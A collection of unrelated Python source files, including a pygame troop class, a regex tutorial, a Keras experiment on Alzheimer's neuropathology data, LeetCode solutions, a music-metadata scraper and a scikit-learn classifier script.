            self.image = pygame.transform.flip(pygame.image.load(os.path.join('assets', 'ai_medic.png')), True, False)
        elif self.ai and self.type == 2:
            self.image = pygame.transform.flip(pygame.image.load(os.path.join('assets', 'ai_soldier.png')), True, False)
        elif not self.ai and self.type == 0:
            self.image = pygame.image.load(os.path.join('assets', 'player_commando.png'))
        elif not self.ai and self.type == 1:
            self.image = pygame.image.load(os.path.join('assets', 'player_medic.png'))
        else:
            self.image = pygame.image.load(os.path.join('assets', 'player_soldier.png'))
        # rectangle surrounding troop (useful for detecting clicks)
        self.rect = self.image.get_rect()
        self.rect.center = int(self.x), int(self.y)
        # label for drawing troops health
        self.health_label = Label(str(int(self.health)), size=15)

    # detect if troop was clicked on
    def get_event(self, event):
        if event.type == pygame.MOUSEBUTTONUP and self.rect.collidepoint(event.pos):
            return True
        return False

    # update health label to display current health
    def update(self):
        self.health_label.set_text(str(int(self.health)))

    # draw troop to screen
    def render(self, surface):
        surface.blit(self.image, self.rect)
        self.health_label.render(surface)

    # add attack boost to troop
    def attack_boost(self):
        self.attack += 10
        if self.type == 2:
            self.attack += 10
            self.defense = 0
        if self.type == 0 and self.attack > 40:
            self.attack = 40
        elif self.type == 1 and self.attack > 30:
            self.attack = 30
        elif self.type == 2 and self.attack > 70:
            self.attack = 70

    # add defense boost to troop
    def defense_boost(self):
        self.defense += 10
        if self.type == 2:
            self.attack += 10
            self.defense -= 5
        if self.type == 0 and self.defense > 40:
            self.defense = 40
        elif self.type == 1 and self.defense > 20:
            self.defense = 30
        elif self.type == 2 and self.defense > 10:
            self.defense = 20

    # add healing property
    def heal(self,num):
        self.health += num
        if self.health > 100:
            self.health = 100
        if self.type == 2 and self.health > 75:
            self.health = 75

    # set stats to default values
    def default_stats(self):
        self.attack = 20
        if self.type == 2:
            self.attack = 10
        self.defense = 10

    # set pos to draw troop
    def set_pos(self, pos):
        self.x, self.y = pos
        self.rect.center = int(self.x), int(self.y)
        if not self.ai:
            self.health_label.set_pos((int(self.x - self.rect.w/4), int(self.y - self.rect.h/2 - 15)))
        else:
            self.health_label.set_pos((int(self.x + self.rect.w / 4), int(self.y - self.rect.h / 2 - 15)))


#내가 직접푼거
# def max_product(left_cards, right_cards):
#     # 코드를 작성하세요.
#     max_list = []
#     for i in left_cards:
#         for j in right_cards:
#             max_list.append(i*j)
#     return max(max_list)

#다른 사람 해답1
# def max_product(left_cards, right_cards):
#     max = 0
#     for l in left_cards:
#         for r in right_cards:
#             if l*r > max:
#                 max = l*r
#             else:
#                 continue
#     return max

#다른 사람 해답2
def max_product(left_cards, right_cards):
    # 현재까지 최댓값을 담기 위한 변수
    # 처음에는 임시로 각 리스트의 첫 번째 요소의 곱으로 설정
    max_product = left_cards[0] * right_cards[0]

    # 가능한 모든 조합을 보기 위한 중첩 반복문
    for left in left_cards:
        for right in right_cards:
            # 현재까지의 최댓값 값과 지금 보고 있는 곱을 비교해서 더 큰 값을 최댓값 변수에 담아준다
            max_product = max(max_product, left * right)

    # 찾은 최댓값을 리턴한다
    return max_product

# 테스트
print(max_product([1, 6, 5], [4, 2, 3]))
print(max_product([1, -9, 3, 4], [2, 8, 3, 1]))
print(max_product([-1, -7, 3], [-4, 3, 6]))

코드잇 강의/알고리즘/3-1. 카드 뭉치 최대조합(Brute Force) .py


import os
import re
'''
    . - Any Character except new line
    \d - Digit (0-9)
    \D - Not a digit Note:- All captitals negate
    \w - Word character (A-Z,a-z,0-9, _ (underscore)
    \W - not  word
    \s - matches whitespace, new line tab
    \S - which is opposite to above

    Anchors, Dont match any characters but are used in conjunction with other pattern
     \b - Word boundary, indicated by space or alphaanumberic character
    \B - Not a word boundry
    ^ - begining of string
    $ - end of string
    [] - matches characters in brackets. NOTE- you dont need to escape characters inside character set
    [^] - matches not in brackets ( negates )
    - Specifiy Range

    . - Means any character
    Quantifiers:
    * -  0 or more
    + -  1 or more
    ? - 0 or one
    {3} - Exact Number
    {3-4} - Range of numbers, min and max

    () - Groups can group patterns
    ! - Either or
    '''

searchtext = '''
From: Guido van Rossum (gui...@CNRI.Reston.Va.US)
hanha
phone number is 555.333.3423
phone number 2 is 542-334-1234
phone number 3 is (533)-333-3423
pnumbe3 4 is 800-889-2343
p         is 900-334-3234

Mr Raghu
Mr. subba
Ms mom
Mrs. mommy
Mr. T
emails
CoreMsachele@gmail.com
Core.Msachel@niervisity.edu
core-232-mache@mywork-domain.net

'''
# - Example below uses . which matches everything
pattern = re.compile(r'.') # r is a raw string, which python dont interpret
matches = pattern.finditer(searchtext)
#for match in matches:
    #print("Example1")
    #print(match)
# - Example below Matches only one with period. jut do it by escaping
# pattern = re.compile(r'\.')  # r is a raw string, which python dont interpret
# matches = pattern.finditer(searchtext)
# for match in matches:
#     print("Example2")
    #print(match)
# - Example to match only digit
pattern = re.compile(r'\d')  # r is a raw string, which python dont interpret
matches = pattern.finditer(searchtext)
#for match in matches:
    #print(match)
# - Similarly you cana find Matches which is not a digit with \D
# - Similarly for \w and \W
# - Example to match space
pattern = re.compile(r'\s')  # r is a raw string, which python dont interpret
matches = pattern.finditer(searchtext)
# for match in matches:
#     print(match)
# - exaample to match a boundary
pattern = re.compile(r'\bha') # - Matches \boundary and character, example space and chaaracters.
# it wont match if there is not boundary to start. boundary need to be before it
matches = pattern.finditer(searchtext)
#for match in matches:
#    print(match)
# - Example \B gives you opposite
# - to try
# - $ and ^ is ending and begining
# - lets match phone number. this matches phone with - and also with . because . meansy anycharacter
pattern = re.compile(r'\d\d\d.\d\d\d.\d\d\d\d')  # r is a raw string, which python dont interpret
matches = pattern.finditer(searchtext)
# for match in matches:
#     print(match)

# now replace . with a character set []
# pattern = re.compile(r'\d\d\d[.-]\d\d\d[.-]\d\d\d\d')
# same as above behavior but it uses charaacter set which can tell you only put those character
# NOTE- you dont need to escape characters inside character set
# NOTE- eventhough there are multiple characters inside character set, it only matches one character

# - Match 800 and 900

pattern = re.compile(r'[89]00[.-]\d\d\d[.-]\d\d\d\d')  # r is a raw string, which python dont interpret
matches = pattern.finditer(searchtext)
# for match in matches:
#     print(match)
# Sepcify Range
pattern = re.compile(r'[8-9]00[.-]\d\d\d[.-]\d\d\d\d')
# Search for lower and upper case. lowercase range immediately followed by upper case or vice versa
pattern = re.compile(r'[a-zA-Z]')
matches = pattern.finditer(searchtext)
# for match in matches:
#     print(match)
# possible ranges [a-z] or [A-Z]
# if you put caret inside range it negates
# [^a-z] matches which is not lower case letter
# [^b]at matches cat,rat but not bat
# with Quantifiers \d{3}.d{3}.d{4} is same as \d\d\d etc
# Example to match Mr
# start with r'Mr\.' Now to match with or without period use ? quantifier
# r'Mr\.?'
# Now we match space and Upper case letter
# r'Mr\.?\s[A-Z] - matches Mr S
# now lets use \w to match word
# now we decide what quantifier to use, to match single letter and full word
# r'Mr\.?\s[A-Z]\w+ this doesn't match Mr. T
# to match 0 word and more, use *
pattern = re.compile(r'Mr\.?\s[A-Z]\w*')
matches = pattern.finditer(searchtext)
# for match in matches:
#     print(match)
# Example grouping patterns
# pattern = re.compile(r'M(r|s|rs)\.?\s[A-Z]\w*')
# matches = pattern.finditer(searchtext)
# for match in matches:
#     print(match)

# Example to group another way
# Example grouping patterns
pattern = re.compile(r'(Mr|Ms|Mrs)\.?\s[A-Z]\w*')
# lets match email
# lowercase and upper case untill we hit @ and same pattern
pattern = re.compile(r'[a-zA-Z]+@[a-zA-Z]+\.[a-zA-Z]+')
matches = pattern.finditer(searchtext)
# for match in matches:
#     print(match)
# above is not matching with . lets add that to a character set

pattern = re.compile(r'[a-zA-Z.]+@[a-zA-Z]+\.[a-zA-Z]+') # . matches one with .
# add . - to both name and domain character set and
pattern = re.compile(r'[a-zA-Z.-]+@[a-zA-Z-]+\.(edu|com|.net)')
# email matching pattern from internet
# r'[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+'

# Matching url
urls = '''
https://www.google.com
https://youtube.com
http://coreyms.com
https://www.nasa.gov
'''
pattern = re.compile(r'https?') # s? means 0 or 1 character of s
# match wwww
pattern = re.compile(r'https?//(www)?') # http://www or https://
# match domain
pattern = re.compile(r'https?//(www)?\w+\.') # matches after https://www.google
#now .com
pattern = re.compile(r'https?://(www\.)?\w+\.\w+')
matches = pattern.finditer(urls)

for match in matches:
    print(match)
# lets extract those values as groups. whichever you need to extract just put them in parenthesis
# below i am using for google and .com type
pattern = re.compile(r'https?://(www\.)?(\w+)(\.\w+)')
matches = pattern.finditer(urls)
# now we have 3 groups, one which is optional www and second is domain like google and third is .com
# and also group(0) which matches all. Note adding groups wont change the result. you still get same resule

# for match in matches:
#     print(match)
# for match in matches:
#     print(match.group(0))
# for match in matches:
#     print(match.group(1))
# for match in matches:
#     print(match.group(2))

for match in matches:
    print(match.group(0))
    print(match.group(1))
    print(match.group(2))
    print(match.group(3))

# for loop multiple times did not work. only one forloop worked
# substitute url
# now you can substitute 2 and 3
# substitute url is used to replace entire pattern with searched pattern. this is used to clean up
# example if you want https://google.com to be replaced only with google.com
# do the following
subbed_url = pattern.sub(r'\2\3',urls) # searches pattern and replaces with searched pattern
print(subbed_url) # prints as list of tuples of matched groups. remember you grouped 3 times

# - Example usage of findall
# findall returns all matched string as list
matches = pattern.findall(urls)
for match in matches:
    print(match)
print(pattern.findall(urls))
# - pattern.match doesn't return iterable and it only matches begingin of string. dont use it
# - better to use patter.search to search the string in entire string

def thisisold():
    with open("log.log","r") as file:
        for line in file:
            #print(line)
            # 64.242.88.10 - - [07/Mar/2004:16:54:55 -0800] "GET /twiki/bin/rdiff/Main/NicholasLee HTTP/1.1" 200 7235
            #date_re = re.compile('(?P<a_year>\d{2,4})-(?P<a_month>\d{2})-(?P<a_day>\d{2}) (?P<an_hour>\d{2}):(?P<a_minute>\d{2}):(?P<a_second>\d{2}[.\d]*)')
            re_search = re.compile('(?P<my_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})')
            found = re_search.match(line)
            #if found is not None:
                #print found.groupdict()
            #re_search = re.compile('(?P<my_day>\d{1,2})\/(?P<month>[a-zA-Z]+)\/(?P<a_year>\d{2,4})')
            re_search = re.compile('(?P<my_day>\\/[a-zA-Z]+)')
            found = re_search.match(line)
            if found is not None:
                print(found.groupdict())

            # parts = [
            #     r'(?P<host>\S+)',  # host %h
            #     r'\S+',  # indent %l (unused)
            #     r'(?P<user>\S+)',  # user %u
            #     r'\[(?P<time>.+)\]',  # time %t
            #     r'"(?P<request>.*)"',  # request "%r"
            #     r'(?P<status>[0-9]+)',  # status %>s
            #     r'(?P<size>\S+)',  # size %b (careful, can be '-')
            #     r'"(?P<referrer>.*)"',  # referrer "%{Referer}i"
            #     r'"(?P<agent>.*)"',  # user agent "%{User-agent}i"
            # ]
            # 64.242.88.10 - - [07/Mar/2004:16:54:55 -0800] "GET /twiki/bin/rdiff/Main/NicholasLee HTTP/1.1" 200 7235
            parts = [
                r'(?P<host>\S+)',  # host %h
                r'\S+',  # indent %l (unused) \S  means 'anything but a whitespace character'.
                #r'- +',  # indent %l (unused)
                r'[\s-]+', # Multiple space and Dash
                r'(?P<every_thing>\[(.*?)\])'
                #r'\[',   # Matching [
                #r'(?P<my_day>\d{1,2})\/(?P<month>[a-zA-Z]+)\/(?P<m_year>\d{2,4})',

               # r'(?P<next>:)',  # or Matching : 16:52:35 -0800] "GET /twiki/bin/edit/Main/Flush_service_name?topicparent=Main.ConfigurationVariables HTTP/1.1" 401 12851
                #r'(?P<myday>\d{1,2})'
                #r'(?P<next2>\d+)'
                #r'(?P<next>:)'
                #r'(?P<time>\d{1,2}:)'
                #r'(?P<next>\S+)',  # indent %l (unused)

            ]

            #pattern = re.compile(r'\s+'.join(parts) + r'\s*\Z')

            pattern = re.compile(r'\s+'.join(parts) )
            found = pattern.match(line)
            #if found is not None:
                #print found.groupdict()
            # print unmatched
            #s = pattern.sub('', line)
            #print "unmatched is " + s

            # Method 2
            parts = [
                r'(?P<host>\S+)',  # host %h
                r'\S+',  # indent %l (unused) \S  means 'anything but a whitespace character'.
                # r'- +',  # indent %l (unused)
                r'[\s-]+',  # Multiple space and Dash
                r'(?P<ignorethis>\[)',

                # r'\[',   # Matching [
                # r'(?P<my_day>\d{1,2})\/(?P<month>[a-zA-Z]+)\/(?P<m_year>\d{2,4})',

                # r'(?P<next>:)',  # or Matching : 16:52:35 -0800] "GET /twiki/bin/edit/Main/Flush_service_name?topicparent=Main.ConfigurationVariables HTTP/1.1" 401 12851
                # r'(?P<myday>\d{1,2})'
                # r'(?P<next2>\d+)'
                # r'(?P<next>:)'
                # r'(?P<time>\d{1,2}:)'
                # r'(?P<next>\S+)',  # indent %l (unused)

            ]

            # pattern = re.compile(r'\s+'.join(parts) + r'\s*\Z')

            pattern = re.compile(r'\s+'.join(parts))
            found = pattern.match(line)
            if found is not None:
                print (found.groupdict())
            # print unmatched
            s = pattern.sub('', line)
            print("unmatched is ->" + s)

    """
    \D{3} any three non digits
    \s+ one or more white spaces
    \d{1,2} one to two digits
    \d{2} exactly two digits
    (:\d{2}){2} two occurrences of (: followed by two digits)

    r"[^\S\n\t]+"
    The [^\S] matches any char that is not a non-whitespace = any char that is whitespace. However, since the character class is a negated one, when you add characters to it they are excluded from matching.

    Python demo:

    import re
    a='rasd\nsa sd'
    print(re.findall(r'[^\S\n\t]+',a))
    # => [' ']

    """


from setuptools import setup, find_packages

# get version
from os import path
verfile = path.join(path.dirname(__file__), 'testly', '__init__.py')
with open(verfile) as vf:
    VERSION = vf.readline().split('=')[1].strip()[1:-1]

readme  = path.join(path.dirname(__file__), 'README.md')
with open(readme) as rf:
	LONGDESC = rf.read()

setup (
	name                          = 'python-testly',
	version                       = VERSION,
	description                   = "Python unittest with data provider and more.",
	url                           = "https://github.com/pwwang/testly",
	author                        = "pwwang",
	author_email                  = "pwwang@pwwang.com",
	license                       = "Apache License Version 2.0",
	long_description              = LONGDESC,
	long_description_content_type = 'text/markdown',
	packages                      = find_packages(),
	install_requires              = [
		'six', 'future'
    ],
)


import h5py
import pandas as pd
import numpy as np
from models import multitask_mlp
import keras
from keras.callbacks import CSVLogger
from keras import backend as K
import gc
from sklearn.model_selection import ParameterGrid
import os
from configs import *

class DataValidationExperiment:
    def __init__(self, fold_idx, train_datasets, test_datasets):
        self.fold_idx = fold_idx
        self.train_datasets = train_datasets
        self.test_datasets = test_datasets

        X_train, X_valid, y_train, y_valid = self.load_data_for_fold(fold_idx)
        self.X_train = X_train
        self.X_valid = X_valid
        self.y_train = y_train
        self.y_valid = y_valid

    def load_data_for_fold(self, fold_idx):
        # Leaving this hardcoded for now.  I assume it won't change anytime soon (or ever)
        phenotypes = ["CERAD", "PLAQUES", "ABETA_IHC", "BRAAK", "TANGLES", "TAU_IHC"]
        num_components = 500
        num_cats = {"CERAD": 4, "BRAAK": 6}
        data_form = "ACT_MSBBRNA_ROSMAP_PCASplit"
        path_to_folders = path_to_MDAD_data_folders

        path_to_split_data = path_to_folders + data_form

        # ------------ LOAD DATA ---------------------------------------------------- #
        with h5py.File(path_to_split_data + "/" + str(fold_idx) + ".h5", 'r') as hf:
            if "PCA" in data_form or "KMeans" in data_form:
                X_train = hf["X_train_transformed"][:, :num_components].astype(np.float64)
                X_valid = hf["X_valid_transformed"][:, :num_components].astype(np.float64)
            else:
                X_train = hf["X_train"][:].astype(np.float64)
                X_valid = hf["X_valid"][:].astype(np.float64)
            labels_train = hf["y_train"][:]
            labels_valid = hf["y_valid"][:]
            labels_names = hf["labels_names"][:]

        # ------------ PROCESS DATA FOR MODEL: TRAIN/TEST SETS + LABELS----------------- #
        labels_df_train = pd.DataFrame(labels_train, columns=labels_names.astype(str))
        labels_df_valid = pd.DataFrame(labels_valid, columns=labels_names.astype(str))

        training_points_in_datasets = labels_df_train.filename.str.decode("utf-8").isin(self.train_datasets)
        X_train = X_train[training_points_in_datasets]
        labels_df_train = labels_df_train[training_points_in_datasets]

        valid_points_in_datasets = labels_df_valid.filename.str.decode("utf-8").isin(self.test_datasets)
        X_valid = X_valid[valid_points_in_datasets]

        labels_df_valid = labels_df_valid[valid_points_in_datasets]

        shuffle_idx_train = np.random.permutation(range(len(labels_df_train)))
        shuffle_idx_valid = np.random.permutation(range(len(labels_df_valid)))

        X_train = X_train[shuffle_idx_train]
        X_valid = X_valid[shuffle_idx_valid]

        labels_df_train = labels_df_train.reset_index(drop=True).loc[shuffle_idx_train]
        labels_df_valid = labels_df_valid.reset_index(drop=True).loc[shuffle_idx_valid]

        y_train = {}
        y_valid = {}
        for phen in phenotypes:
            if phen in num_cats.keys():
                y_train[phen] = labels_df_train[phen].astype(float).values / (num_cats[phen] - 1)
                y_valid[phen] = labels_df_valid[phen].astype(float).values / (num_cats[phen] - 1)
            else:
                y_train[phen] = labels_df_train[phen].astype(float).values
                y_valid[phen] = labels_df_valid[phen].astype(float).values

        return X_train, X_valid, y_train, y_valid

    def run_experiment(self):

        hyperparams = {"epochs": [200],
                       "nonlinearity": ["relu"],
                       "hidden_sizes_shared": [[500, 100]],
                       "hidden_sizes_separate": [[50, 10]],
                       "dropout": [.1],
                       "k_reg": [.00001, .001],
                       "learning_rate": [.0001, .001],
                       "loss_weights": [[1, 1]],
                       "grad_clip_norm": [.01, .1],
                       "batch_size": [20]}

        hy_dict_list = list(ParameterGrid(hyperparams))

        for hy_dict in hy_dict_list:
            num_epochs = hy_dict["epochs"]
            nonlinearity = hy_dict["nonlinearity"]
            hidden_sizes_shared = hy_dict["hidden_sizes_shared"]
            hidden_sizes_separate = hy_dict["hidden_sizes_separate"]
            dropout = hy_dict["dropout"]
            k_reg = hy_dict["k_reg"]
            learning_rate = hy_dict["learning_rate"]
            loss_weights = hy_dict["loss_weights"]
            grad_clip_norm = hy_dict["grad_clip_norm"]
            batch_size = hy_dict["batch_size"]

            title = str(self.train_datasets)
            #title = "%d_%s_%s_%s_%f_%f_%f_%s_%f_%d" % (
            #    num_epochs, nonlinearity, str(hidden_sizes_shared), str(hidden_sizes_separate),
            #    dropout, k_reg, learning_rate, str(loss_weights), grad_clip_norm, batch_size
            #)

            path_to_results = "MODEL_OUTPUTS/results/md-ad_data_validation/"
            path_to_preds = "MODEL_OUTPUTS/predictions/md-ad_data_validation/"
            path_to_models = "MODEL_OUTPUTS/models/md-ad_data_validation/"

            data_form = "ACT_MSBBRNA_ROSMAP_PCASplit"
            model = multitask_mlp(self.X_train, hy_dict)

            # https://stackoverflow.com/questions/36895627/python-keras-creating-a-callback-with-one-prediction-for-each-epoch
            X_valid = self.X_valid
            class prediction_history(keras.callbacks.Callback):
                def __init__(self):
                    self.predhis = []

                def on_epoch_end(self, epoch, logs={}):
                    self.predhis.append(model.predict(X_valid))

            predictions = prediction_history()

            res_dest = path_to_results + "/" + data_form + "/" + title + "/"
            if not os.path.isdir(res_dest):
                os.makedirs(res_dest)

            preds_dest = path_to_preds + "/" + data_form + "/" + title + "/"
            if not os.path.isdir(preds_dest):
                os.makedirs(preds_dest)

            modelpath = path_to_models + data_form + "/" + title + "/" + str(self.fold_idx) + "/"
            if not os.path.isdir(modelpath):
                os.makedirs(modelpath)

            csv_logger = CSVLogger(res_dest + '%d.log' % self.fold_idx)

            print("Fitting model")
            History = model.fit(x={'main_input': self.X_train},
                                y={'BRAAK_out': self.y_train["BRAAK"], 'CERAD_out': self.y_train["CERAD"],
                                   'PLAQUES_out': self.y_train["PLAQUES"], 'TANGLES_out': self.y_train["TANGLES"],
                                   "ABETA_IHC_out": self.y_train["ABETA_IHC"], "TAU_IHC_out": self.y_train["TAU_IHC"]},
                                validation_data=({'main_input': self.X_valid},
                                                 {'BRAAK_out': self.y_valid["BRAAK"], 'CERAD_out': self.y_valid["CERAD"],
                                                  'PLAQUES_out': self.y_valid["PLAQUES"], 'TANGLES_out': self.y_valid["TANGLES"],
                                                  "ABETA_IHC_out": self.y_valid["ABETA_IHC"],
                                                  "TAU_IHC_out": self.y_valid["TAU_IHC"]}),

                                verbose=0, epochs=num_epochs, batch_size=batch_size, callbacks=[csv_logger, predictions,
                                                                                keras.callbacks.ModelCheckpoint(
                                                                                modelpath + "{epoch:02d}.hdf5",
                                                                                monitor='val_loss',
                                                                                verbose=0,
                                                                                save_best_only=False,
                                                                                save_weights_only=False,
                                                                                mode='auto',
                                                                                period=100)])

            # SAVE PREDICTIONS
            with h5py.File(preds_dest + "%d.h5" % self.fold_idx, 'w') as hf:
                # loop through epochs -- one group is made per epoch
                for i, ep in enumerate(predictions.predhis):
                    # within each group created for each epoch, we save a dataset of predictions for the validation set
                    for j, phenotype in enumerate(["BRAAK", "CERAD", "PLAQUES", "TANGLES",
                                                   "ABETA_IHC", "TAU_IHC"]):

                        if "/%s/%s" % (str(i), phenotype) in hf:
                            del hf["/%s/%s" % (str(i), phenotype)]
                        hf.create_dataset("/%s/%s" % (str(i), phenotype), data=predictions.predhis[i][j],
                                          dtype=np.float32)
                # save true values to /y_true/phenotype
                for phenotype in ["BRAAK", "CERAD", "PLAQUES", "TANGLES",
                                  "ABETA_IHC", "TAU_IHC"]:
                    if "/y_true/" + phenotype in hf:
                        del hf["/y_true/" + phenotype]
                    hf.create_dataset("/y_true/" + phenotype, data=self.y_valid[phenotype], dtype=np.float32)

            K.clear_session()
            gc.collect()
            break


#Problem Link:- https://leetcode.com/problems/grumpy-bookstore-owner/

"""Today, the bookstore owner has a store open for customers.length minutes.  Every
minute, some number of customers (customers[i]) enter the store, and all those customers
leave after the end of that minute.On some minutes, the bookstore owner is grumpy.  If
the bookstore owner is grumpy on the i-th minute, grumpy[i] = 1, otherwise grumpy[i] = 0.
When the bookstore owner is grumpy, the customers of that minute are not satisfied,
otherwise they are satisfied.The bookstore owner knows a secret technique to keep
themselves not grumpy for X minutes straight, but can only use it once.
Return the maximum number of customers that can be satisfied throughout the day."""

class Solution:
    def maxSatisfied(self, customers: List[int], grumpy: List[int], X: int) -> int:
        n = len(customers)
        sm = 0
        for i in range(n):
            if grumpy[i] == 0:
                sm += customers[i]
        left = 0
        ans = 0
        for i in range(n):
            if grumpy[i] == 1:
                sm += customers[i]
            while (left < n and (i-left+1) > X):
                if grumpy[left] == 1:
                    sm -= customers[left]
                left += 1
            ans = max(ans,sm)
        return ans


"""
291 Word Pattern II

Given a pattern and a string str, find if str follows the same pattern.

Here follow means a full match, such that there is a bijection between a letter in pattern and a non-empty substring in str.

Example 1:

Input: pattern = "abab", str = "redblueredblue"
Output: true
Example 2:

Input: pattern = "aaaa", str = "asdasdasdasd"
Output: true
Example 3:

Input: pattern = "aabb", str = "xyzabcxzyabc"
Output: false

Constraints:
You may assume both pattern and str contains only lowercase letters.
"""
import unittest
class Solution:
    def wordPatternMatch(self, pattern: str, str: str) -> bool:
        def helper(p, i, s, j, m1, m2):
            # i: p's start index
            # j: s's start index
            # return True if we find
            if i >= len(p) or j >= len(s):
                return i == len(p) and j == len(s)

            if p[i] in m1:
                if not s[j:].startswith(m1[p[i]]):
                    return False
                else:
                    return helper(p, i+1, s, j+len(m1[p[i]]), m1, m2)
            else:
                for k in range(j+1, len(s)+1):
                    t = s[j:k]
                    # if t exists in m2, that means another letter in p maps to t, and we can't use t
                    if t not in m2:
                        m1[p[i]] = t
                        m2[t] = p[i]
                        if helper(p, i+1, s, k, m1, m2):
                            return True
                        m1.pop(p[i])
                        m2.pop(t)
                return False
        return helper(pattern, 0, str, 0, {}, {})

class Test(unittest.TestCase):
    def test_1(self):
        obj = Solution()
        self.assertFalse(obj.wordPatternMatch("ab", "aa"))
        self.assertTrue(obj.wordPatternMatch("aaaa", "asdasdasdasd"))

unittest.main(exit = False)


# -*- coding: utf-8 -*-
"""
    Author: Thinkgamer
    Desc:
        获取每首歌的信息
    songs: https://api.imjad.cn/cloudmusic/?type=detail&id=1330960061
            id,name,歌手信息[ar]，专辑id[al]，出版时间[publishTime]
           https://api.imjad.cn/cloudmusic/?type=comments&id=1330960061
            评论数，热门评论数
           https://api.imjad.cn/cloudmusic/?type=song&id=1330960061
            歌曲链接，大小
           https://api.imjad.cn/cloudmusic/?type=lyric&id=1330960061
            歌词
"""
import requests
class GetSongMess:
    def __init__(self):
        self.detail_url = "https://api.imjad.cn/cloudmusic/?type=detail&id="
        self.song_url = "https://api.imjad.cn/cloudmusic/?type=song&id="
        self.comments_url = "https://api.imjad.cn/cloudmusic/?type=comments&id="
        self.lyric_url = "https://api.imjad.cn/cloudmusic/?type=lyric&id="

        # 保存 获取失败的id
        self.error_ids = list()
        self.error_ids_file = "./data/song_mess/error_ids_1.txt"

        # 记录所有id的文件 合并 获取所有 歌曲id
        self.ids_all_file = "./data/song_mess/"
        self.song_ids = self.getSongIDs()

    # 获取所有的歌曲id信息
    def getSongIDs(self):
        #  获取所有的歌曲id信息
        ids_list = set()
        print(" 获取所有的歌曲id信息 ...")
        for line in open(self.ids_all_file+"ids_all.txt", "r").readlines():
            try:
                for id in line.strip().split(","):
                    ids_list.add(id)
            except Exception as e:
                print(e)
                pass
        print("歌曲ID数为： %s" % ids_list.__len__())
        # for line in open(self.error_ids_file,"r",encoding="utf-8"):
        #     ids_list.add(line.strip())
        # print(list(ids_list).__len__())
        return list(ids_list)

    def getSongMess(self):
        print("开始获取歌曲信息 ...")
        i = 0
        for id in self.song_ids:
            try:
                print("%s - 歌曲id： %s" % (i,id))
                # deatil => id,name,专辑id[al]，出版时间[publishTime],歌手信息[ar]
                url_1 = self.detail_url + str(id)
                res_1_json = requests.get(url_1).json()["songs"][0]
                url_1_list=[
                    str(res_1_json["id"]),
                    str(res_1_json["name"]),
                    str(res_1_json['al']["id"]),
                    str(res_1_json["publishTime"]),
                    "#".join([ str(one["id"]) for one in res_1_json['ar'] ] )
                ]
                # comments => 总的评论数，热门评论数
                url_2 = self.comments_url + str(id)
                res_2_json = requests.get(url_2).json()
                try:
                    url_2_list = [
                        str(res_2_json["total"]),
                        str( len(res_2_json["hotComments"])  )
                    ]
                except:
                    url_2_list = ["0", "0"]
                # lysic => 歌词
                # song => 大小，歌曲链接
                url_3 = self.song_url + str(id)
                res_3_json = requests.get(url_3).json()["data"][0]
                url_3_list = [
                    str(res_3_json["size"]),
                    str(res_3_json["url"])
                ]
                try:
                    url_4 = self.lyric_url + str(id)
                    lysic = requests.get(url_4).json()["lrc"]["lyric"]
                    lysic = lysic.replace("\n","\\n")
                except:
                    lysic = "null"
                self.writeToFile(self.ids_all_file + "songs_mess_all.txt"," |+| ".join(url_1_list + url_2_list + url_3_list ))
                self.writeToFile(self.ids_all_file + "songs_lysics_all.txt", str(res_1_json["id"]) + "\t" + lysic)
                i += 1
            except Exception as e:
                print("error: %s" % e)
                self.error_ids.append(id)
                pass

        # 如果有获取错误的歌曲将id写入文件
        if self.error_ids.__len__() != 0:
            print("将获取歌曲信息错误的id写入文件: %s" % self.error_ids_file)
            self.writeToFile(self.error_ids_file,",".join(self.error_ids))
        print("歌曲信息获取完成 ...")

    # 写入文件
    def writeToFile(self,filename,one):
        fw = open(filename,"a",encoding="utf8")
        fw.write(str(one) + "\n")
        fw.close()

    def filterId(self):
        ids_list_not = list()
        for line in open(self.ids_all_file + "songs_mess.txt","r", encoding="utf-8").readlines():
            id = line.strip().split(" |+| ")[0]
            ids_list_not.append(id)
        i=0
        for one in self.song_ids:
            if one not in ids_list_not:
                print(i)
                i+=1
                self.writeToFile(self.ids_all_file + "not_get_ids_%s.txt" % str(int(i/50000)),one)

if __name__ == "__main__":
    print("开始获取所有歌曲的信息")
    song = GetSongMess()
    song.getSongMess()


import pandas as pd
from sklearn import svm
from sklearn import kernel_approximation, linear_model, pipeline
from sklearn.model_selection import train_test_split
from sklearn import metrics
from sklearn import ensemble
#up sample the training set for tuning not for test
#gradiant boost, random forest, logistic
import arrow

def log(message):
    f = open('mvp.log', 'a')
    f.write(message + '\n')
    print(message)
    f.close()

if __name__ == '__main__':
    lap_time = arrow.now()
    data_tr = pd.read_csv(f'data/test/1-0_test_new.csv')
    log(f"Start Time: {(arrow.now() - lap_time).seconds // 60}:{(arrow.now() - lap_time).seconds % 60} minutes.")
    # hours = [x for x in range(24)]
    # for h in hours:
    #     data_tr[f'{h}'] = (data_tr['hour'] == h).astype('int')
    log(f"Start Time: {(arrow.now() - lap_time).seconds // 60}:{(arrow.now() - lap_time).seconds % 60} minutes.")
    data_tr.fillna(0, inplace=True)

    X, y = data_tr.drop(columns=['is_attributed', 'click_time', 'attributed_time'], axis=1), data_tr['is_attributed']
    X_tr, X_te, y_tr, y_te = train_test_split(X,y, test_size=.5, random_state=42, stratify=y)
    log(f"Start Time: {(arrow.now() - lap_time).seconds // 60}:{(arrow.now() - lap_time).seconds % 60} minutes.")

    #sgd = svm.SVC()
    logreg = linear_model.LogisticRegression()
    logreg.fit(X_tr, y_tr)
    y_pred = logreg.predict(X_te)

    log(metrics.classification_report(y_te, y_pred))

    # for _ in range(1):
    #     log(f"Start Time: {(arrow.now() - lap_time).seconds // 60}:{(arrow.now() - lap_time).seconds % 60} minutes.")
    #
    #     GBC.fit(X_tr, y_tr)
    #     print('train done')
    #     log(f"Start Time: {(arrow.now() - lap_time).seconds // 60}:{(arrow.now() - lap_time).seconds % 60} minutes.")
    #
    #     print(metrics.classification_report(GBC.predict(X_te),y_te))
    #     log(f"Start Time: {(arrow.now() - lap_time).seconds // 60}:{(arrow.now() - lap_time).seconds % 60} minutes.")

    svm_sgd = linear_model.SGDClassifier(max_iter=500, tol=1e-3)
    svm_sgd = pipeline.make_pipeline(
        kernel_approximation.Nystroem(
            kernel='rbf'), svm_sgd)
    svm_sgd.fit(X_tr, y_tr)
    y_pred = svm_sgd.predict(X_te)

    log(metrics.classification_report(y_te, y_pred))


from z_algo import zbox_search
from utils import get_partitions

if __name__ == '__main__':
    text = "bbcaefadcabcpqr"
    pattern = "abc"
